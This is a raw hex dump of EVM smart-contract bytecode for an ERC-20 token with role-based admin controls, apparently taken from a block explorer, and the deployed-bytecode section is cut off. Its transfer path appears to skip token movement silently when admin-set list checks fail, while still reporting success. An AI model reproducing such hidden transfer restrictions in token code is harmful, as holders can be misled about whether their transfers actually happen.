910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611b97578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611b8e9190612cdb565b60405180910390a35b50505050565b611ba78282610d1d565b611bea5780826040517fe2517d3f000000000000000000000000000000000000000000000000000000008152600401611be19291906137fa565b60405180910390fd5b5050565b60605f8273ffffffffffffffffffffffffffffffffffffffff165f1b90505f6040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090505f602a67ffffffffffffffff811115611c6157611c60612b61565b5b6040519080825280601f01601f191660200182016040528015611c935781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110611cca57611cc9613049565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611d2d57611d2c613049565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f5f90505b6014811015611ee05782600485600c84611d7a9190613821565b60208110611d8b57611d8a613049565b5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff1681518110611dca57611dc9613049565b5b602001015160f81c60f81b82600283611de3919061321c565b6002611def9190613821565b81518110611e0057611dff613049565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535082600f60f81b85600c84611e429190613821565b60208110611e5357611e52613049565b5b1a60f81b1660f81c60ff1681518110611e6f57611e6e613049565b5b602001015160f81c60f81b82600283611e88919061321c565b6003611e949190613821565b81518110611ea557611ea4613049565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053508080600101915050611d60565b50809350505050919050565b60605f8203611f32576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612040565b5f8290505f5b5f8214611f61578080611f4a90613854565b915050600a82611f5a91906138c8565b9150611f38565b5f8167ffffffffffffffff811115611f7c57611f7b612b61565b5b6040519080825280601f01601f191660200182016040528015611fae5781602001600182028036833780820191505090505b5090505b5f851461203957600182611fc691906138f8565b9150600a85611fd5919061392b565b6030611fe19190613821565b60f81b818381518110611ff757611ff6613049565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600a8561203291906138c8565b9450611fb2565b8093505050505b919050565b5f600382511461208a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612081906139a5565b60405180910390fd5b5f825f8151811061209e5761209d613049565b5b602002602001015190505f836001815181106120bd576120bc613049565b5b602002602001015190505f6120ec856002815181106120df576120de613049565b5b60200260200101516128a5565b905060066040516020016121009190613a43565b60405160208183030381529060405280519060200120836040516020016121279190612ff4565b604051602081830303815290604052805190602001201480156121d8575060095460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121d6919061301e565b105b801561223b5750600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f208260405161221e9190612ff4565b90815260200160405180910390205f9054906101000a900460ff16155b1561224b575f9350505050612684565b5f6007541261245f5760046040516020016122669190613a43565b60405160208183030381529060405280519060200120600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516122ba9190612ff4565b90815260200160405180910390206040516020016122d89190613a43565b604051602081830303815290604052805190602001200361245a5780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516123329190612ff4565b90815260200160405180910390205f8154811061235257612351613049565b5b905f5260205f2001541015801561236857505f81115b1561244e5780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516123ac9190612ff4565b90815260200160405180910390205f815481106123cc576123cb613049565b5b905f5260205f2001546123df91906138f8565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f208460405161241d9190612ff4565b90815260200160405180910390205f8154811061243d5761243c613049565b5b905f5260205f200181905550612459565b5f9350505050612684565b5b61267c565b60066040516020016124719190613a43565b60405160208183030381529060405280519060200120836040516020016124989190612ff4565b6040516020818303038152906040528051906020012014806125105750600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516124f49190612ff4565b90815260200160405180910390205f9054906101000a900460ff165b61267b5780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516125539190612ff4565b90815260200160405180910390205f8154811061257357612572613049565b5b905f5260205f2001541015801561258957505f81115b1561266f5780600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20846040516125cd9190612ff4565b90815260200160405180910390205f815481106125ed576125ec613049565b5b905f5260205f20015461260091906138f8565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f208460405161263e9190612ff4565b90815260200160405180910390205f8154811061265e5761265d613049565b5b905f5260205f20018190555061267a565b5f9350505050612684565b5b5b600193505050505b919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036126d9578060035f8282546126cd9190613821565b925050819055506127a9565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612763578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161275a939291906135e7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127f0578060035f828254039250508190555061283b565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128989190612cdb565b60405180910390a3505050565b5f5f8290505f5f90505f5f90505b825181101561292f575f8382815181106128d0576128cf613049565b5b602001015160f81c60f81b60f81c60ff169050603081101580156128f5575060398111155b156129215760308161290791906138f8565b600a84612914919061321c565b61291e9190613821565b92505b5080806001019150506128b3565b508092505050919050565b5f604051905090565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61297f8161294b565b8114612989575f5ffd5b50565b5f8135905061299a81612976565b92915050565b5f602082840312156129b5576129b4612943565b5b5f6129c28482850161298c565b91505092915050565b5f8115159050919050565b6129df816129cb565b82525050565b5f6020820190506129f85f8301846129d6565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612a40826129fe565b612a4a8185612a08565b9350612a5a818560208601612a18565b612a6381612a26565b840191505092915050565b5f6020820190508181035f830152612a868184612a36565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612ab782612a8e565b9050919050565b612ac781612aad565b8114612ad1575f5ffd5b50565b5f81359050612ae281612abe565b92915050565b5f819050919050565b612afa81612ae8565b8114612b04575f5ffd5b50565b5f81359050612b1581612af1565b92915050565b5f5f60408385031215612b3157612b30612943565b5b5f612b3e85828601612ad4565b9250506020612b4f85828601612b07565b9150509250929050565b5f5ffd5b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612b9782612a26565b810181811067ffffffffffffffff82111715612bb657612bb5612b61565b5b80604052505050565b5f612bc861293a565b9050612bd48282612b8e565b919050565b5f67ffffffffffffffff821115612bf357612bf2612b61565b5b612bfc82612a26565b9050602081019050919050565b828183375f83830152505050565b5f612c29612c2484612bd9565b612bbf565b905082815260208101848484011115612c4557612c44612b5d565b5b612c50848285612c09565b509392505050565b5f82601f830112612c6c57612c6b612b59565b5b8135612c7c848260208601612c17565b91505092915050565b5f60208284031215612c9a57612c99612943565b5b5f82013567ffffffffffffffff811115612cb757612cb6612947565b5b612cc384828501612c58565b91505092915050565b612cd581612ae8565b82525050565b5f602082019050612cee5f830184612ccc565b92915050565b5f5f5f60608486031215612d0b57612d0a612943565b5b5f612d1886828701612ad4565b9350506020612d2986828701612ad4565b9250506040612d3a86828701612b07565b9150509250925092565b5f819050919050565b612d5681612d44565b82525050565b5f602082019050612d6f5f830184612d4d565b92915050565b612d7e81612d44565b8114612d88575f5ffd5b50565b5f81359050612d9981612d75565b92915050565b5f60208284031215612db457612db3612943565b5b5f612dc184828501612d8b565b91505092915050565b5f5f60408385031215612de057612ddf612943565b5b5f612ded85828601612d8b565b9250506020612dfe85828601612ad4565b9150509250929050565b5f60ff82169050919050565b612e1d81612e08565b82525050565b5f602082019050612e365f830184612e14565b92915050565b5f60208284031215612e5157612e50612943565b5b5f612e5e84828501612ad4565b91505092915050565b5f5f60408385031215612e7d57612e7c612943565b5b5f83013567ffffffffffffffff811115612e9a57612e99612947565b5b612ea685828601612c58565b9250506020612eb785828601612b07565b9150509250929050565b5f819050919050565b612ed381612ec1565b8114612edd575f5ffd5b50565b5f81359050612eee81612eca565b92915050565b5f60208284031215612f0957612f08612943565b5b5f612f1684828501612ee0565b91505092915050565b5f5f60408385031215612f3557612f34612943565b5b5f612f4285828601612ad4565b9250506020612f5385828601612ad4565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612fa157607f821691505b602082108103612fb457612fb3612f5d565b5b50919050565b5f81905092915050565b5f612fce826129fe565b612fd88185612fba565b9350612fe8818560208601612a18565b80840191505092915050565b5f612fff8284612fc4565b915081905092915050565b5f8151905061301881612af1565b92915050565b5f6020828403121561303357613032612943565b5b5f6130408482850161300a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156130f8578086048111156130d4576130d3613076565b5b60018516156130e35780820291505b80810290506130f1856130a3565b94506130b8565b94509492505050565b5f8261311057600190506131cb565b8161311d575f90506131cb565b8160018114613133576002811461313d5761316c565b60019150506131cb565b60ff84111561314f5761314e613076565b5b8360020a91508482111561316657613165613076565b5b506131cb565b5060208310610133831016604e8410600b84101617156131a15782820a90508381111561319c5761319b613076565b5b6131cb565b6131ae84848460016130af565b925090508184048111156131c5576131c4613076565b5b81810290505b9392505050565b5f6131dc82612ae8565b91506131e783612e08565b92506132147fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613101565b905092915050565b5f61322682612ae8565b915061323183612ae8565b925082820261323f81612ae8565b9150828204841483151761325657613255613076565b5b5092915050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026132b97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261327e565b6132c3868361327e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6132fe6132f96132f484612ae8565b6132db565b612ae8565b9050919050565b5f819050919050565b613317836132e4565b61332b61332382613305565b84845461328a565b825550505050565b5f5f905090565b613342613333565b61334d81848461330e565b505050565b5b81811015613370576133655f8261333a565b600181019050613353565b5050565b601f8211156133b5576133868161325d565b61338f8461326f565b8101602085101561339e578190505b6133b26133aa8561326f565b830182613352565b50505b505050565b5f82821c905092915050565b5f6133d55f19846008026133ba565b1980831691505092915050565b5f6133ed83836133c6565b9150826002028217905092915050565b613406826129fe565b67ffffffffffffffff81111561341f5761341e612b61565b5b6134298254612f8a565b613434828285613374565b5f60209050601f831160018114613465575f8415613453578287015190505b61345d85826133e2565b8655506134c4565b601f1984166134738661325d565b5f5b8281101561349a57848901518255600182019150602085019450602081019050613475565b868310156134b757848901516134b3601f8916826133c6565b8355505b6001600288020188555050505b505050505050565b5f815490506134da81612f8a565b9050919050565b5f819050815f5260205f209050919050565b8181036135015750506135d6565b61350a826134cc565b67ffffffffffffffff81111561352357613522612b61565b5b61352d8254612f8a565b613538828285613374565b5f601f831160018114613565575f8415613553578287015490505b61355d85826133e2565b8655506135cf565b601f198416613573876134e1565b965061357e8661325d565b5f5b828110156135a557848901548255600182019150600185019450602081019050613580565b868310156135c257848901546135be601f8916826133c6565b8355505b6001600288020188555050505b5050505050505b565b6135e181612aad565b82525050565b5f6060820190506135fa5f8301866135d8565b6136076020830185612ccc565b6136146040830184612ccc565b949350505050565b5f60208201905061362f5f8301846135d8565b92915050565b7f496e76616c69642061646472657373206c656e677468000000000000000000005f82015250565b5f613669601683612a08565b915061367482613635565b602082019050919050565b5f6020820190508181035f8301526136968161365d565b9050919050565b5f6136a782612a8e565b91506136b283612a8e565b9250828203905073ffffffffffffffffffffffffffffffffffffffff8111156136de576136dd613076565b5b92915050565b7f496e76616c69642063686172616374657220696e2061646472657373207374725f8201527f696e672e00000000000000000000000000000000000000000000000000000000602082015250565b5f61373e602483612a08565b9150613749826136e4565b604082019050919050565b5f6020820190508181035f83015261376b81613732565b9050919050565b5f61377c82612a8e565b915061378783612a8e565b925082820261379581612a8e565b915082820484148315176137ac576137ab613076565b5b5092915050565b5f6137bd82612a8e565b91506137c883612a8e565b9250828201905073ffffffffffffffffffffffffffffffffffffffff8111156137f4576137f3613076565b5b92915050565b5f60408201905061380d5f8301856135d8565b61381a6020830184612d4d565b9392505050565b5f61382b82612ae8565b915061383683612ae8565b925082820190508082111561384e5761384d613076565b5b92915050565b5f61385e82612ae8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036138905761388f613076565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6138d282612ae8565b91506138dd83612ae8565b9250826138ed576138ec61389b565b5b828204905092915050565b5f61390282612ae8565b915061390d83612ae8565b925082820390508181111561392557613924613076565b5b92915050565b5f61393582612ae8565b915061394083612ae8565b9250826139505761394f61389b565b5b828206905092915050565b7f496e76616c696420706172616d6574657220636f756e740000000000000000005f82015250565b5f61398f601783612a08565b915061399a8261395b565b602082019050919050565b5f6020820190508181035f8301526139bc81613983565b9050919050565b5f81546139cf81612f8a565b6139d98186612fba565b9450600182165f81146139f35760018114613a0857613a3a565b60ff1983168652811515820286019350613a3a565b613a118561325d565b5f5b83811015613a3257815481890152600182019150602081019050613a13565b838801955050505b50505092915050565b5f613a4e82846139c3565b91508190509291505056fea26469706673582212206a2f4315baec74d2f45f10f89ebe86ee8744190395651d8d8e651665ebb1845964736f6c634300081c0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000077359400000000000000000000000000f34dc2101abe351a1367284c0d749f574a4722320000000000000000000000000000000000000000000000000000000000000003475a4100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003475a410000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106101d8575f3560e01c80638155684011610102578063ba9b97fc116100a0578063cdd78e8f1161006f578063cdd78e8f14610578578063d547741f14610596578063dd62ed3e146105b2578063eb594d4f146105e2576101d8565b8063ba9b97fc146104f4578063c6db9d6f14610524578063c8bfc5ee14610540578063ca55d3ff1461055c576101d8565b806395d89b41116100dc57806395d89b411461046c578063a9059cbb1461048a578063b4b3fe07146104ba578063b54e5ccc146104d6576101d8565b806381556840146104025780638546d0c71461042057806391d148541461043c576101d8565b8063248a9ca31161017a57806336eaf8941161014957806336eaf89414610368578063478293b5146103985780634c9ccccc146103a257806370a08231146103d2576101d8565b8063248a9ca3146102e25780632f2ff15d14610312578063313ce5671461032e57806336568abe1461034c576101d8565b8063134d981c116101b6578063134d981c1461025a57806318160ddd1461027657806323b872dd1461029457806323e7e610146102c4576101d8565b806301ffc9a7146101dc57806306fdde031461020c578063095ea7b31461022a575b5f5ffd5b6101f660048036038101906101f191906129a0565b6105fe565b60405161020391906129e5565b60405180910390f35b610214610677565b6040516102219190612a6e565b60405180910390f35b610244600480360381019061023f9190612b1b565b610707565b60405161025191906129e5565b60405180910390f35b610274600480360381019061026f9190612c85565b610729565b005b61027e6107bc565b60405161028b9190612cdb565b60405180910390f35b6102ae60048036038101906102a99190612cf4565b6107c5565b6040516102bb91906129e5565b60405180910390f35b6102cc6107f3565b6040516102d99190612d5c565b60405180910390f35b6102fc60048036038101906102f79190612d9f565b610817565b6040516103099190612d5c565b60405180910390f35b61032c60048036038101906103279190612dca565b610833565b005b610336610855565b6040516103439190612e23565b60405180910390f35b61036660048036038101906103619190612dca565b61085d565b005b610382600480360381019061037d9190612c85565b6108d8565b60405161038f9190612a6e565b60405180910390f35b6103a06109df565b005b6103bc60048036038101906103b79190612c85565b610aa0565b6040516103c99190612cdb565b60405180910390f35b6103ec60048036038101906103e79190612e3c565b610b3a565b6040516103f99190612cdb565b60405180910390f35b61040a610b80565b6040516104179190612cdb565b60405180910390f35b61043a60048036038101906104359190612e67565b610b89565b005b61045660048036038101906104519190612dca565b610d1d565b60405161046391906129e5565b60405180910390f35b610474610d80565b6040516104819190612a6e565b60405180910390f35b6104a4600480360381019061049f9190612b1b565b610e10565b6040516104b191906129e5565b60405180910390f35b6104d460048036038101906104cf9190612c85565b610e32565b005b6104de610ec4565b6040516104eb9190612d5c565b60405180910390f35b61050e60048036038101906105099190612c85565b610ee7565b60405161051b91906129e5565b60405180910390f35b61053e60048036038101906105399190612c85565b610f74565b005b61055a60048036038101906105559190612c85565b61100a565b005b61057660048036038101906105719190612ef4565b6110f5565b005b61058061112a565b60405161058d9190612d5c565b60405180910390f35b6105b060048036038101906105ab9190612dca565b611130565b005b6105cc60048036038101906105c79190612f1f565b611152565b6040516105d99190612cdb565b60405180910390f35b6105fc60048036038101906105f79190612c85565b6111d4565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610670575061066f8261125d565b5b9050919050565b60606004805461068690612f8a565b80601f01602080910402602001604051908101604052809291908181526020018280546106b290612f8a565b80156106fd5780601f106106d4576101008083540402835291602001916106fd565b820191905f5260205f20905b8154815290600101906020018083116106e057829003601f168201915b5050505050905090565b5f5f6107116112c6565b905061071e8185856112cd565b600191505092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610753816112df565b6001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516107949190612ff4565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b5f600354905090565b5f5f6107cf6112c6565b90506107dc8582856112f3565b6107e7858585611385565b60019150509392505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81565b5f5f5f8381526020019081526020015f20600101549050919050565b61083c82610817565b610845816112df565b61084f8383611604565b50505050565b5f6012905090565b6108656112c6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6108d382826116ed565b505050565b60607f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610904816112df565b600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20836040516109429190612ff4565b9081526020016040518091039020805461095b90612f8a565b80601f016020809104026020016040519081016040528092919081815260200182805461098790612f8a565b80156109d25780601f106109a9576101008083540402835291602001916109d2565b820191905f5260205f20905b8154815290600101906020018083116109b557829003601f168201915b5050505050915050919050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610a09816112df565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a73573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a97919061301e565b60098190555050565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610acb816112df565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610b099190612ff4565b90815260200160405180910390205f81548110610b2957610b28613049565b5b905f5260205f200154915050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f600954905090565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610bb3816112df565b5f610bbc610855565b600a610bc891906131d2565b90505f600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610c099190612ff4565b90815260200160405180910390208054905003610ca057600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2084604051610c5e9190612ff4565b90815260200160405180910390208184610c78919061321c565b908060018154018082558091505060019003905f5260205f20015f9091909190915055610d17565b8083610cac919061321c565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610cea9190612ff4565b90815260200160405180910390205f81548110610d0a57610d09613049565b5b905f5260205f2001819055505b50505050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060058054610d8f90612f8a565b80601f0160208091040260200160405190810160405280929190818152602001828054610dbb90612f8a565b8015610e065780601f10610ddd57610100808354040283529160200191610e06565b820191905f5260205f20905b815481529060010190602001808311610de957829003601f168201915b5050505050905090565b5f5f610e1a6112c6565b9050610e27818585611385565b600191505092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610e5c816112df565b5f600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f2083604051610e9c9190612ff4565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610f12816112df565b600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f2083604051610f519190612ff4565b90815260200160405180910390205f9054906101000a900460ff16915050919050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610f9e816112df565b60405180602001604052805f815250600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610feb9190612ff4565b9081526020016040518091039020908161100591906133fd565b505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e611034816112df565b816006908161104391906133fd565b506001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516110859190612ff4565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055506110b2826117d6565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e61111f816112df565b816007819055505050565b5f5f1b81565b61113982610817565b611142816112df565b61114c83836116ed565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6111fe816112df565b6004600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f208360405161123e9190612ff4565b9081526020016040518091039020908161125891906134f3565b505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b6112da83838360016119ce565b505050565b6112f0816112eb6112c6565b611b9d565b50565b5f6112fe8484611152565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461137f5781811015611370578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611367939291906135e7565b60405180910390fd5b61137e84848484035f6119ce565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113f5575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016113ec919061361c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611465575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161145c919061361c565b60405180910390fd5b5f600367ffffffffffffffff81111561148157611480612b61565b5b6040519080825280602002602001820160405280156114b457816020015b606081526020019060019003908161149f5790505b5090506114c084611bee565b815f815181106114d3576114d2613049565b5b60200260200101819052506114e783611bee565b816001815181106114fb576114fa613049565b5b602002602001018190525061150f82611eec565b8160028151811061152357611522613049565b5b60200260200101819052505f61153882612045565b9050806115465750506115ff565b611551858585612689565b5f6006805461155f90612f8a565b905011156115fc5760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f5919061301e565b6009819055505b50505b505050565b5f61160f8383610d1d565b6116e35760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506116806112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506116e7565b5f90505b92915050565b5f6116f88383610d1d565b156117cc575f5f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506117696112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a4600190506117d0565b5f90505b92915050565b5f5f829050602a81511461181f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118169061367f565b60405180910390fd5b5f5f90505f600290505b602a8110156119c3575f83828151811061184657611845613049565b5b602001015160f81c60f81b60f81c60ff16905060308173ffffffffffffffffffffffffffffffffffffffff1610158015611897575060398173ffffffffffffffffffffffffffffffffffffffff1611155b156118b0576030816118a9919061369d565b905061199b565b60418173ffffffffffffffffffffffffffffffffffffffff16101580156118ee575060468173ffffffffffffffffffffffffffffffffffffffff1611155b1561190757603781611900919061369d565b905061199a565b60618173ffffffffffffffffffffffffffffffffffffffff1610158015611945575060668173ffffffffffffffffffffffffffffffffffffffff1611155b1561195e57605781611957919061369d565b9050611999565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613754565b60405180910390fd5b5b5b806010846119a99190613772565b6119b391906137b3565b9250508080600101915050611829565b508092505050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611a3e575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611a35919061361c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aae575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611aa5919061361c565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611b97578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611b8e9190612cdb565b60405180910390a35b50505050565b611ba78282610d1d565b611bea5780826040517fe2517d3f000000000000000000000000000000000000000000000000000000008152600401611be19291906137fa565b60405180910390fd5b5050565b60605f8273ffffffffffffffffffffffffffffffffffffffff165f1b90505f6040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090505f602a67ffffffffffffffff811115611c6157611c60612b61565b5b6040519080825280601f01601f191660200182016040528015611c935781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f81518110611cca57611cc9613049565b5b60200101907efffffffffffffffffffffffffffffffffffffffffffffff